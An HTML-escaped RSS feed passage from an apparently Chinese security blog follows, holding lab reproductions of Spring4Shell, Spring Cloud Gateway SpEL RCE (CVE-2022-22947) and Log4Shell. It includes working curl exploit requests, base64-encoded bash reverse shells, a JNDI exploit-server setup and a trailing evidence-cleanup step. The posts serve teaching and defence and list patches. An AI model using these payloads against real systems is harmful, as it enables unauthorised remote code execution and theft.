&lt;p&gt;Spring MVC 提供了自动将 HTTP 请求参数绑定到 Java 对象属性上的功能。当向接口发送 &lt;code&gt;?name=Alice&amp;amp;age=20&lt;/code&gt; 时，Spring 会通过反射调用后端 POJO 对象的 &lt;code&gt;setName(&quot;Alice&quot;)&lt;/code&gt; 和 &lt;code&gt;setAge(20)&lt;/code&gt;。这种绑定是&lt;strong&gt;递归&lt;/strong&gt;的：如果对象中包含其他对象，可以通过点号（&lt;code&gt;.&lt;/code&gt;）一直向下访问。&lt;/p&gt;
&lt;h3&gt;JDK 9+ 的反射链绕过&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;JDK 9 引入了 Module（模块）化概念&lt;/strong&gt;，在 &lt;code&gt;Class&lt;/code&gt; 对象中增加了一个 &lt;code&gt;getModule()&lt;/code&gt; 方法。攻击者发现了一条全新的路径：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;class&lt;/code&gt;（获取当前类）→ &lt;code&gt;module&lt;/code&gt;（获取模块）→ &lt;code&gt;classLoader&lt;/code&gt;（获取类加载器）&lt;/p&gt;
&lt;p&gt;Spring 之前的黑名单只拦截了 &lt;code&gt;class.classLoader&lt;/code&gt;，没有预料到通过 &lt;code&gt;module&lt;/code&gt; 也能到达 &lt;code&gt;classLoader&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;篡改 Tomcat 日志阀（AccessLogValve）&lt;/h3&gt;
&lt;p&gt;AccessLogValve 是 Tomcat 负责记录访问日志的组件。攻击者通过请求参数动态修改它的四个关键属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;directory&lt;/code&gt;&lt;/strong&gt;：将日志存放路径改到 Web 根目录（&lt;code&gt;webapps/ROOT&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;prefix&lt;/code&gt; / &lt;code&gt;suffix&lt;/code&gt;&lt;/strong&gt;：将文件名改为 &lt;code&gt;shell.jsp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;pattern&lt;/code&gt;&lt;/strong&gt;：将日志的内容格式改为一段 JSP 代码，其中 &lt;code&gt;%{c1}i&lt;/code&gt; 和 &lt;code&gt;%{c2}i&lt;/code&gt; 占位符分别从请求头 &lt;code&gt;c1&lt;/code&gt;、&lt;code&gt;c2&lt;/code&gt; 中取值（即 &lt;code&gt;&amp;lt;%&lt;/code&gt; 和 &lt;code&gt;%&amp;gt;&lt;/code&gt;），拼接成完整的 JSP 语句&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻击者发送完配置请求后，Tomcat 每处理一次访问就往 Web 目录写一条含 JSP 代码的日志，最终生成一个可执行任意命令的 &lt;code&gt;shell.jsp&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Spring Framework 至 &lt;strong&gt;5.3.18&lt;/strong&gt; / &lt;strong&gt;5.2.20&lt;/strong&gt; 或更高版本（黑名单加入 &lt;code&gt;class.module.classLoader&lt;/code&gt; 路径）；&lt;/li&gt;
&lt;li&gt;无法立即升级时，可通过 &lt;code&gt;ControllerAdvice&lt;/code&gt; 的 &lt;code&gt;initBinder&lt;/code&gt; 注册全局 &lt;code&gt;WebDataBinder&lt;/code&gt; 过滤器，拒绝包含 &lt;code&gt;class.&lt;/code&gt; 前缀的参数绑定；&lt;/li&gt;
&lt;li&gt;Spring Boot 内嵌 Tomcat（默认部署方式）不受此漏洞影响，风险集中在 WAR 包部署于独立 Tomcat 的场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Spring 官方公告：https://tanzu.vmware.com/security/cve-2022-22965&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2022-22965&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Spring Cloud Gateway SpEL RCE（CVE-2022-22947）复现</title><link>https://blog.mal-suen.cn/posts/2022/05/103/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2022/05/103/</guid><description>Spring Cloud Gateway 的 Actuator 端点未授权暴露时，攻击者可通过 POST 请求动态添加路由，在过滤器参数中嵌入恶意 SpEL 表达式，网关刷新配置时解析执行该表达式，实现未授权远程代码执行。CVSS 10.0，影响 Spring Cloud Gateway 3.1.x &lt; 3.1.1、3.0.x &lt; 3.0.7。本文基于 Vulhub 靶场复现并拆解利用链。</description><pubDate>Tue, 17 May 2022 02:07:12 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2022-22947 是 Spring Cloud Gateway 的远程代码执行漏洞，CVSS 10.0。Spring Cloud Gateway 内置 Actuator 运维管理模块，通过 &lt;code&gt;/actuator/gateway/&lt;/code&gt; 系列接口提供动态路由管理能力。当这些接口未授权暴露时，攻击者可通过 POST 请求添加新路由，在路由的 &lt;code&gt;filters&lt;/code&gt; 参数中嵌入 SpEL（Spring Expression Language）表达式；网关刷新路由配置时会解析并执行该表达式，SpEL 具备直接调用 Java 底层类库（如 &lt;code&gt;java.lang.Runtime&lt;/code&gt;）的能力且无沙箱限制，攻击者由此实现未授权远程代码执行。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 spring/CVE-2022-22947 靶场（Spring Cloud Gateway 3.1.0），覆盖端点探测、命令执行验证、反弹 Shell、清理现场四个阶段，并拆解 Actuator 暴露与 SpEL 注入的原理。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-22947&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;Spring Cloud Gateway 3.1.x &amp;lt; &lt;strong&gt;3.1.1&lt;/strong&gt;、3.0.x &amp;lt; &lt;strong&gt;3.0.7&lt;/strong&gt; 及更早不再维护的版本&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/spring/CVE-2022-22947	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
30edb836b199   vulhub/spring-cloud-gateway:3.1.0   &quot;java -Djava.securit…&quot;   9 minutes ago   Up 9 minutes   0.0.0.0:5005-&amp;gt;5005/tcp, :::5005-&amp;gt;5005/tcp, 0.0.0.0:8080-&amp;gt;8080/tcp, :::8080-&amp;gt;8080/tcp   cve-2022-22947-spring-1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
8080/tcp open  http    Cloudflare http proxy
|_http-title: Example Domain
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: cloudflare
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Spring Cloud Gateway 的响应头特征和 Cloudflare 的部分特征重合，且网关本身是&lt;strong&gt;反向代理组件&lt;/strong&gt;，nmap 的指纹库会将其误识别为 &lt;code&gt;Cloudflare http proxy&lt;/code&gt;，并非真的有 Cloudflare 代理，也不影响漏洞利用。&lt;/p&gt;
&lt;h3&gt;探测网关路由端点&lt;/h3&gt;
&lt;p&gt;Spring Cloud Gateway 的 RCE 依赖于 &lt;code&gt;/actuator/gateway&lt;/code&gt; 端点的暴露。使用 &lt;code&gt;curl&lt;/code&gt; 探测该路径是否存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -i http://192.168.31.148:8080/actuator/gateway/routes
HTTP/1.1 200 OK
transfer-encoding: chunked
Content-Type: application/json

[{&quot;predicate&quot;:&quot;Methods: [GET]&quot;,&quot;route_id&quot;:&quot;index&quot;,&quot;filters&quot;:[],&quot;uri&quot;:&quot;http://example.com:80&quot;,&quot;order&quot;:0}]       
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回 &lt;code&gt;200 OK&lt;/code&gt; 并包含 JSON 格式的路由列表，说明端点完全暴露，&lt;strong&gt;未授权访问漏洞存在&lt;/strong&gt;。网关中已存在一个名为 &lt;code&gt;index&lt;/code&gt; 的默认路由，它会将流量转发到 &lt;code&gt;example.com&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果返回 &lt;code&gt;401 Unauthorized&lt;/code&gt;，说明有认证保护；返回 &lt;code&gt;404 Not Found&lt;/code&gt;，说明端点未开启或路径被修改。&lt;/p&gt;
&lt;h3&gt;注入恶意路由执行命令&lt;/h3&gt;
&lt;p&gt;向靶机发送 &lt;code&gt;POST&lt;/code&gt; 请求，创建一个 ID 为 &lt;code&gt;hack&lt;/code&gt; 的新路由，在 &lt;code&gt;filters&lt;/code&gt; 中嵌入 SpEL 表达式执行 &lt;code&gt;id&lt;/code&gt; 命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/routes/hack \
    -H &quot;Content-Type: application/json&quot; \
    -d &apos;{
      &quot;id&quot;: &quot;hack&quot;,
      &quot;filters&quot;: [{
        &quot;name&quot;: &quot;AddResponseHeader&quot;,
        &quot;args&quot;: {
          &quot;name&quot;: &quot;Result&quot;,
          &quot;value&quot;: &quot;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\&quot;id\&quot;).getInputStream()))}&quot;
        }
      }],
      &quot;uri&quot;: &quot;http://example.com&quot;
    }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;仅仅添加路由不会执行 SpEL，必须通过 &lt;code&gt;refresh&lt;/code&gt; 端点强制 Gateway 重新加载配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh \
    -H &quot;Content-Type: application/json&quot; \
    -d &apos;{}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问刚才创建的路由详情，查看 &lt;code&gt;id&lt;/code&gt; 命令的执行结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl http://192.168.31.148:8080/actuator/gateway/routes/hack
{&quot;predicate&quot;:&quot;RouteDefinitionRouteLocator$$Lambda$1145/1157700961&quot;,&quot;route_id&quot;:&quot;hack&quot;,&quot;filters&quot;:[&quot;[[AddResponseHeader Result = &apos;uid=0(root) gid=0(root) groups=0(root)\n&apos;], order = 1]&quot;],&quot;uri&quot;:&quot;http://example.com:80&quot;,&quot;order&quot;:0}    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果中的 &lt;code&gt;uid=0(root)&lt;/code&gt; 说明恶意路由已生效，Gateway 不仅解析了 SpEL 表达式，而且以 &lt;strong&gt;root&lt;/strong&gt; 用户身份执行了系统命令 &lt;code&gt;id&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;反弹 Shell&lt;/h3&gt;
&lt;p&gt;在攻击机上开启监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造 Base64 编码的反弹命令，为了规避 Java &lt;code&gt;exec()&lt;/code&gt; 对特殊字符解析的问题，先在 Kali 上生成编码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1&quot; | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送反弹 Shell Payload，修改 &lt;code&gt;exec&lt;/code&gt; 参数注入新路由：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/routes/shell \
    -H &quot;Content-Type: application/json&quot; \
    -d &apos;{
      &quot;id&quot;: &quot;shell&quot;,
      &quot;filters&quot;: [{
        &quot;name&quot;: &quot;AddResponseHeader&quot;,
        &quot;args&quot;: {
          &quot;name&quot;: &quot;Result&quot;,
          &quot;value&quot;: &quot;#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\&quot;/bin/bash\&quot;,\&quot;-c\&quot;,\&quot;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK | base64 -d | bash\&quot;}).getInputStream()))}&quot;
        }
      }],
      &quot;uri&quot;: &quot;http://example.com&quot;
    }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;刷新并触发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh -H &quot;Content-Type: application/json&quot; -d &apos;{}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc 监听端收到反弹 Shell，容器 id 与靶机一致：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Spring-Cloud-Gateway-SpEL-RCE%EF%BC%88CVE-2022-22947%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/%E5%8F%8D%E5%BC%B9shell%E6%88%90%E5%8A%9F.png&quot; alt=&quot;nc 收到反弹 Shell&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;清理现场&lt;/h3&gt;
&lt;p&gt;利用完成后，删除残留路由，防止被其他安全设备检测或被他人二次利用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -X DELETE http://192.168.31.148:8080/actuator/gateway/routes/hack
└─$ curl -X DELETE http://192.168.31.148:8080/actuator/gateway/routes/shell
└─$ curl -X POST http://192.168.31.148:8080/actuator/gateway/refresh
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;Actuator 网关端点的未授权访问&lt;/h3&gt;
&lt;p&gt;Spring Cloud Gateway 内置了名为 &lt;strong&gt;Actuator&lt;/strong&gt; 的运维管理模块，它通过 &lt;code&gt;/actuator/gateway/&lt;/code&gt; 系列接口提供动态管理能力（如添加路由、查看状态）。在生产环境下，这些敏感接口应处于身份认证保护下。若运维配置不当（如为了调试方便而未配置权限校验），这些管理接口就处于&lt;strong&gt;未授权访问&lt;/strong&gt;状态，攻击者无需任何账号密码即可直接调用。&lt;/p&gt;
&lt;h3&gt;动态路由配置支持 SpEL 表达式&lt;/h3&gt;
&lt;p&gt;Gateway 设计上支持动态配置路由（无需重启服务），开发者可通过 POST 请求调用 &lt;code&gt;/actuator/gateway/routes/{id}&lt;/code&gt; 接口添加路由，且路由配置的 &lt;code&gt;filters&lt;/code&gt;（过滤器）、&lt;code&gt;predicates&lt;/code&gt;（断言）参数支持 &lt;strong&gt;SpEL（Spring 表达式语言）&lt;/strong&gt;。SpEL 使用 &lt;code&gt;#{...}&lt;/code&gt; 的特殊格式，具备直接调用 Java 底层类库的能力。&lt;/p&gt;
&lt;h3&gt;SpEL 表达式无安全限制&lt;/h3&gt;
&lt;p&gt;漏洞的本质在于 Gateway 在解析这些 SpEL 表达式时，&lt;strong&gt;没有进行任何安全过滤或环境隔离&lt;/strong&gt;。SpEL 本身具备直接调用 &lt;code&gt;java.lang.Runtime&lt;/code&gt; 等底层类库的能力，缺乏沙箱限制。当 Gateway 解析执行攻击者构造的表达式时，它不会区分这是一个简单的配置值还是危险的系统指令，网关进程会以自身的系统权限执行表达式中包含的代码。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Spring Cloud Gateway 至 &lt;strong&gt;3.1.1&lt;/strong&gt; / &lt;strong&gt;3.0.7&lt;/strong&gt; 或更高版本；&lt;/li&gt;
&lt;li&gt;无法立即升级时，确保 Actuator 端点不暴露在不可信网络中（配置 &lt;code&gt;management.endpoint.gateway.enabled=false&lt;/code&gt; 或添加认证）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Spring 官方公告：https://tanzu.vmware.com/security/cve-2022-22947&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2022-22947&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Log4j2 远程代码执行漏洞（CVE-2021-44228）复现</title><link>https://blog.mal-suen.cn/posts/2022/01/99/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2022/01/99/</guid><description>Log4j2 对日志消息中的 ${} 语法解析过于宽松，支持 JNDI 协议表达式且不限制远程类加载，攻击者通过任何会被记录的输入（URL 参数、请求头等）传入 ${jndi:ldap://...}，即可诱导服务器从远程加载恶意 Java 类执行。CVSS 10.0，影响 Log4j2 2.0-beta9 至 2.14.1，即社区所称 Log4Shell。本文基于 Vulhub 靶场复现并拆解利用链。</description><pubDate>Sat, 15 Jan 2022 12:29:35 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2021-44228（Log4Shell）是 Apache Log4j2 的远程代码执行漏洞，CVSS 10.0，2021 年 12 月披露后席卷整个 Java 生态。Log4j2 对日志消息中的 &lt;code&gt;${}&lt;/code&gt; 语法解析过于宽松：不仅解析普通变量，还支持 &lt;code&gt;${jndi:...}&lt;/code&gt; 这类 JNDI 表达式，且不限制通过 JNDI 从远程加载类。攻击者只要让目标把一段 &lt;code&gt;${jndi:ldap://攻击机/xxx}&lt;/code&gt; 字符串写入日志（URL 参数、HTTP 请求头、表单数据均可），Log4j2 解析该表达式时就会连接攻击机的 LDAP/RMI 服务并加载恶意 Java 类执行，实现未授权 RCE。影响 Log4j2 2.0-beta9 至 2.14.1 全部版本。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 log4j/CVE-2021-44228 靶场（Apache Solr 8.11.0，JDK 8u102），使用 JNDI-Injection-Exploit 生成恶意 LDAP/RMI 服务，通过 Solr 管理接口触发 JNDI 解析并获取反弹 Shell，文末拆解消息格式化、JNDI、trustURLCodebase 三个关键概念。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-44228&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;Apache Log4j2 2.0-beta9 至 2.14.1&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

# 确认容器启动状态
docker ps

eda4bde0a45d   vulhub/solr:8.11.0   &quot;bash /docker-entryp…&quot;   28 seconds ago   Up 28 seconds   0.0.0.0:5005-&amp;gt;5005/tcp, :::5005-&amp;gt;5005/tcp, 0.0.0.0:8983-&amp;gt;8983/tcp, :::8983-&amp;gt;8983/tcp   cve-2021-44228-solr-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可正常访问控制台页面 &lt;code&gt;http://192.168.31.148:8983&lt;/code&gt; 说明启动成功：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Log4j2-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-44228%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/solr%E9%A1%B5%E9%9D%A2.png&quot; alt=&quot;Solr 管理控制台页面&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
5005/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_102
|_jdwp-info: ERROR: Script execution failed (use -d to debug)
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://192.168.31.148:8983/solr/
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8983 端口开放，运行 HTTP 服务，nmap 识别为&lt;strong&gt;Apache Solr&lt;/strong&gt;（Log4Shell 漏洞靶机的核心服务）。&lt;/p&gt;
&lt;p&gt;5005 端口开放，运行&lt;strong&gt;JDWP（Java 调试线协议）&lt;/strong&gt;，靶机 Solr 开启了 Java 调试模式，属于额外环境信息。&lt;/p&gt;
&lt;h3&gt;准备 JDK 8 环境&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar&lt;/code&gt;需要 &lt;strong&gt;JDK 8&lt;/strong&gt;，Kali Rolling 的默认软件源已移除 OpenJDK 8，需要手动下载：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cd /usr/local

┌──(kali㉿kali)-[/usr/local]
└─$ wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ tar -xzvf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz 
└─$ mv jdk8u422-b05/ jdk8

└─$ export JAVA_HOME=/usr/local/jdk8
└─$ export PATH=$JAVA_HOME/bin:$PATH	# 此处修改仅临时生效

└─$ java -version 
openjdk version &quot;1.8.0_422&quot;
OpenJDK Runtime Environment (Temurin)(build 1.8.0_422-b05)
OpenJDK 64-Bit Server VM (Temurin)(build 25.422-b05, mixed mode)
└─$ javac -version
javac 1.8.0_422
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成恶意载荷并启动 JNDI 服务&lt;/h3&gt;
&lt;p&gt;攻击机启动 nc 监听，接收反弹 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444            
listening on [any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成反弹 Shell 命令的 Base64 编码，并下载启动 JNDI-Injection-Exploit：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[/usr/local]	# 生成反弹Shell命令的Base64编码
└─$ echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1&quot; | base64 | tr -d &apos;\n&apos;
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK

└─$ wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar	# 下载工具

# 格式：java -jar 工具包 -C &quot;反弹Shell命令&quot; -A 攻击机IP
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}&quot; -A 192.168.31.152
[ADDRESS] &amp;gt;&amp;gt; 192.168.31.152
[COMMAND] &amp;gt;&amp;gt; bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.31.152:1099/nh5zbf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/qma4qp
ldap://192.168.31.152:1389/qma4qp
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/z8a4er
ldap://192.168.31.152:1389/z8a4er

----------------------------Server Log----------------------------
2022-01-14 18:43:58 [JETTYSERVER]&amp;gt;&amp;gt; Listening on 0.0.0.0:8180
2022-01-14 18:43:58 [RMISERVER]  &amp;gt;&amp;gt; Listening on 0.0.0.0:1099
2022-01-14 18:43:58 [LDAPSERVER] &amp;gt;&amp;gt; Listening on 0.0.0.0:1389
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;工具已启动 LDAP/RMI/HTTP 三个监听（8180/1099/1389 端口），并按不同 JDK 环境生成了对应的 JNDI 链接。靶机 Solr 运行在 JDK 8u102（早于 8u191），&lt;code&gt;trustURLCodebase&lt;/code&gt; 为 true，选择 &lt;code&gt;ldap://192.168.31.152:1389/z8a4er&lt;/code&gt; 这条链接。&lt;/p&gt;
&lt;h3&gt;触发漏洞&lt;/h3&gt;
&lt;p&gt;浏览器拼接访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.31.148:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.152:1389/z8a4er}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc 监听端随即收到反弹 Shell，容器 id 与先前拉起的靶机一致：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Log4j2-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-44228%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/%E5%8F%8D%E5%BC%B9%E6%88%90%E5%8A%9F.png&quot; alt=&quot;nc 收到反弹 Shell，容器 ID 与靶机一致&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;两个关键概念&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Log4j2 的消息格式化功能&lt;/strong&gt;：Log4j2 是 Java 生态最常用的日志框架，支持在日志中写 &lt;code&gt;${变量名}&lt;/code&gt;，Log4j2 会自动解析这个变量并替换为对应的值。比如代码中写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;logger.info(&quot;用户IP：${ip}&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Log4j2 会把 &lt;code&gt;${ip}&lt;/code&gt; 替换成实际的 IP 地址，这是正常的格式化功能。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JNDI（Java 命名和目录接口）&lt;/strong&gt;：JNDI 是 Java 的一个接口，用于访问命名和目录服务（比如 LDAP、RMI、DNS 等）。通过 JNDI，Java 程序可以从远程服务器上加载数据或类。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 通过 JNDI 从 LDAP 服务器加载一个对象
Context ctx = new InitialContext();
Object obj = ctx.lookup(&quot;ldap://192.168.31.152:1389/malicious&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常情况下这是为了方便程序访问远程资源，被漏洞利用后就成了 RCE 的通道。&lt;/p&gt;
&lt;h3&gt;漏洞根源&lt;/h3&gt;
&lt;p&gt;这个漏洞的本质是：&lt;strong&gt;Log4j2 对日志中的 &lt;code&gt;${}&lt;/code&gt; 语法解析过于宽松，允许解析 JNDI 协议的表达式，且未限制远程加载类的行为&lt;/strong&gt;。&lt;/p&gt;
